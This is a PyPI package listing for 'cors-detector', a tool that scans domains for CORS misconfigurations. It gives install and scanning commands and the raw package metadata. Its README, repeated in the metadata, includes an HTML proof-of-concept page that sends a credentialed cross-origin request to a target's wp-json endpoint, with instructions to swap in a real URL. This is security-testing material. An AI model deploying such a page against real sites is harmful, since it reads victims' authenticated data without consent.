cors-detector


Namecors-detector JSON
Version 1.0.1 PyPI version JSON
download
home_page
SummaryThe cors-detector package is used to find the vulnerable CORS domains
upload_time2023-07-03 20:54:31
maintainer
docs_urlNone
authorHariharan
requires_python
license
keywords cors cors-finder cors misconfiguration cors exploit cors vulnerability
VCS
bugtrack_url
requirements No requirements were recorded.
Travis-CI No Travis.
coveralls test coverage No coveralls.
            # CORS-Finder
## This tools is developed for identifying the vulnerable cors domain

![alt text](https://raw.githubusercontent.com/hariharan005/CORS/main/banner/Screenshot%20from%202023-07-01%2015-15-12.png)

### How to install CORS-Finder:
```
git clone https://github.com/hariharan005/CORS.git     
ls    
cd CORS
sudo pip3 install -r requirements.txt    
python3 cors.py
```
### Python Version:
* Python 3 (3.x.x) latest version

### How to Use CORS-Finder:

```
For scanning:
       cat <domain.txt> | xargs -n1 -P10 python3 corss.py                           
For scanning with output:  
       cat <domain.txt> | xargs -n1 -P10 python3 corss.py | tee -a <output.txt>
```

### When its vulnerable:
If the header returns the 
       Access-Control-Allow-Origin: https://vulnerable.com/
       Access-Control-Allow-Credentials: true
       its vulnerable

Note: Not all the time its seems vulnerable, you have to check with cors payload and in the authenticated manner also. Try to exploit and this tool is only for indentifying the vulnerable domain

Note: In this tool i used sample domain file but you have to choose your own url file which you recon using some other recon tool.


### Exploitation examples:

Here is the Example code for exploiting the CORS misconfiguration:

Goto this line and replace the URL xhr.open("GET", "https://www.vulnerable.com/blog/wp-json/", true);

```
<!DOCTYPE html>
<html>
    <title>Cors POC</title>
    <style>
        body{
            background-color: white;
            justify-content: center;
        }
        button{
            justify-content: center;
            align-items: center;
            color: white;
            border-radius: 8px;
            font-size: 18px;
            background-color: #6437A0;
            position: relative;
            width: 10%;
            height: 50px;
            display: grid;
        }
    </style>
     <body>
         <h1>CORS PoC by @crypto_grapper_</h1><span><h2>Hariharan.C</h2></span>
         <div id="demo">
                <button type="button" onclick="cors()" >Wp-json Exploit</button>
            </div>
         </div>
         <script>
             function cors() {
             var xhr = new XMLHttpRequest();
             xhr.onreadystatechange = function() {
                 if (this.readyState == 4 && this.status == 200) {
                 document.getElementById("demo").innerHTML = alert(this.responseText);
                 }
             };
             xhr.open("GET", "https://www.vulnerable.com/blog/wp-json/", true);
             xhr.withCredentials = true;
             xhr.send();
             }
             setTimeout(() => {
                document.location.reload("#");
             }, 5000);
         </script>
     </body>
 </html>
```


            

Raw data

            {
    "_id": null,
    "home_page": "",
    "name": "cors-detector",
    "maintainer": "",
    "docs_url": null,
    "requires_python": "",
    "maintainer_email": "",
    "keywords": "cors,cors-finder,cors misconfiguration,cors exploit,cors vulnerability",
    "author": "Hariharan",
    "author_email": "",
    "download_url": "https://files.pythonhosted.org/packages/fd/f8/f6556b6f231c292f3b7f4e6a5435769ac3e4a6ae92ef851b97079948de5b/cors-detector-1.0.1.tar.gz",
    "platform": null,
    "description": "# CORS-Finder\n## This tools is developed for identifying the vulnerable cors domain\n\n![alt text](https://raw.githubusercontent.com/hariharan005/CORS/main/banner/Screenshot%20from%202023-07-01%2015-15-12.png)\n\n### How to install CORS-Finder:\n```\ngit clone https://github.com/hariharan005/CORS.git     \nls    \ncd CORS\nsudo pip3 install -r requirements.txt    \npython3 cors.py\n```\n### Python Version:\n* Python 3 (3.x.x) latest version\n\n### How to Use CORS-Finder:\n\n```\nFor scanning:\n       cat <domain.txt> | xargs -n1 -P10 python3 corss.py                           \nFor scanning with output:  \n       cat <domain.txt> | xargs -n1 -P10 python3 corss.py | tee -a <output.txt>\n```\n\n### When its vulnerable:\nIf the header returns the \n       Access-Control-Allow-Origin: https://vulnerable.com/\n       Access-Control-Allow-Credentials: true\n       its vulnerable\n\nNote: Not all the time its seems vulnerable, you have to check with cors payload and in the authenticated manner also. Try to exploit and this tool is only for indentifying the vulnerable domain\n\nNote: In this tool i used sample domain file but you have to choose your own url file which you recon using some other recon tool.\n\n\n### Exploitation examples:\n\nHere is the Example code for exploiting the CORS misconfiguration:\n\nGoto this line and replace the URL xhr.open(\"GET\", \"https://www.vulnerable.com/blog/wp-json/\", true);\n\n```\n<!DOCTYPE html>\n<html>\n    <title>Cors POC</title>\n    <style>\n        body{\n            background-color: white;\n            justify-content: center;\n        }\n        button{\n            justify-content: center;\n            align-items: center;\n            color: white;\n            border-radius: 8px;\n            font-size: 18px;\n            background-color: #6437A0;\n            position: relative;\n            width: 10%;\n            height: 50px;\n            display: grid;\n        }\n    </style>\n     <body>\n         <h1>CORS PoC by @crypto_grapper_</h1><span><h2>Hariharan.C</h2></span>\n         <div id=\"demo\">\n                <button type=\"button\" onclick=\"cors()\" >Wp-json Exploit</button>\n            </div>\n         </div>\n         <script>\n             function cors() {\n             var xhr = new XMLHttpRequest();\n             xhr.onreadystatechange = function() {\n                 if (this.readyState == 4 && this.status == 200) {\n                 document.getElementById(\"demo\").innerHTML = alert(this.responseText);\n                 }\n             };\n             xhr.open(\"GET\", \"https://www.vulnerable.com/blog/wp-json/\", true);\n             xhr.withCredentials = true;\n             xhr.send();\n             }\n             setTimeout(() => {\n                document.location.reload(\"#\");\n             }, 5000);\n         </script>\n     </body>\n </html>\n```\n\n",
    "bugtrack_url": null,
    "license": "",
    "summary": "The cors-detector package is used to find the vulnerable CORS domains",
    "version": "1.0.1",
    "project_urls": null,
    "split_keywords": [
        "cors",
        "cors-finder",
        "cors misconfiguration",
        "cors exploit",
        "cors vulnerability"
    ],
    "urls": [
        {
            "comment_text": "",
            "digests": {
                "blake2b_256": "b10681d24f33780b8c956e777ddf244adce41283cf8e66cd0883a2d557014e09",
                "md5": "77f3d26874f78b5c19f9373bbe7540d5",
                "sha256": "df4664490bdfe06e3ff069d6c5bae91a52b2b8a273f86a1f9379a48cb3be26aa"
            },
            "downloads": -1,
            "filename": "cors_detector-1.0.1-py3-none-any.whl",
            "has_sig": false,
            "md5_digest": "77f3d26874f78b5c19f9373bbe7540d5",
            "packagetype": "bdist_wheel",
            "python_version": "py3",
            "requires_python": null,
            "size": 3931,
            "upload_time": "2023-07-03T20:54:30",
            "upload_time_iso_8601": "2023-07-03T20:54:30.002601Z",
            "url": "https://files.pythonhosted.org/packages/b1/06/81d24f33780b8c956e777ddf244adce41283cf8e66cd0883a2d557014e09/cors_detector-1.0.1-py3-none-any.whl",
            "yanked": false,
            "yanked_reason": null
        },
        {
            "comment_text": "",
            "digests": {
                "blake2b_256": "fdf8f6556b6f231c292f3b7f4e6a5435769ac3e4a6ae92ef851b97079948de5b",
                "md5": "0c97b4024448cf2cb21fc6b64bb1d8e2",
                "sha256": "1b1857efdd08af20347402091091b14c0d8ce96f11de62d016ef6cfc2a5776eb"
            },
            "downloads": -1,
            "filename": "cors-detector-1.0.1.tar.gz",
            "has_sig": false,
            "md5_digest": "0c97b4024448cf2cb21fc6b64bb1d8e2",
            "packagetype": "sdist",
            "python_version": "source",
            "requires_python": null,
            "size": 3520,
            "upload_time": "2023-07-03T20:54:31",
            "upload_time_iso_8601": "2023-07-03T20:54:31.242652Z",
            "url": "https://files.pythonhosted.org/packages/fd/f8/f6556b6f231c292f3b7f4e6a5435769ac3e4a6ae92ef851b97079948de5b/cors-detector-1.0.1.tar.gz",
            "yanked": false,
            "yanked_reason": null
        }
    ],
    "upload_time": "2023-07-03 20:54:31",
    "github": false,
    "gitlab": false,
    "bitbucket": false,
    "codeberg": false,
    "lcname": "cors-detector"
}
        
Elapsed time: 0.08731s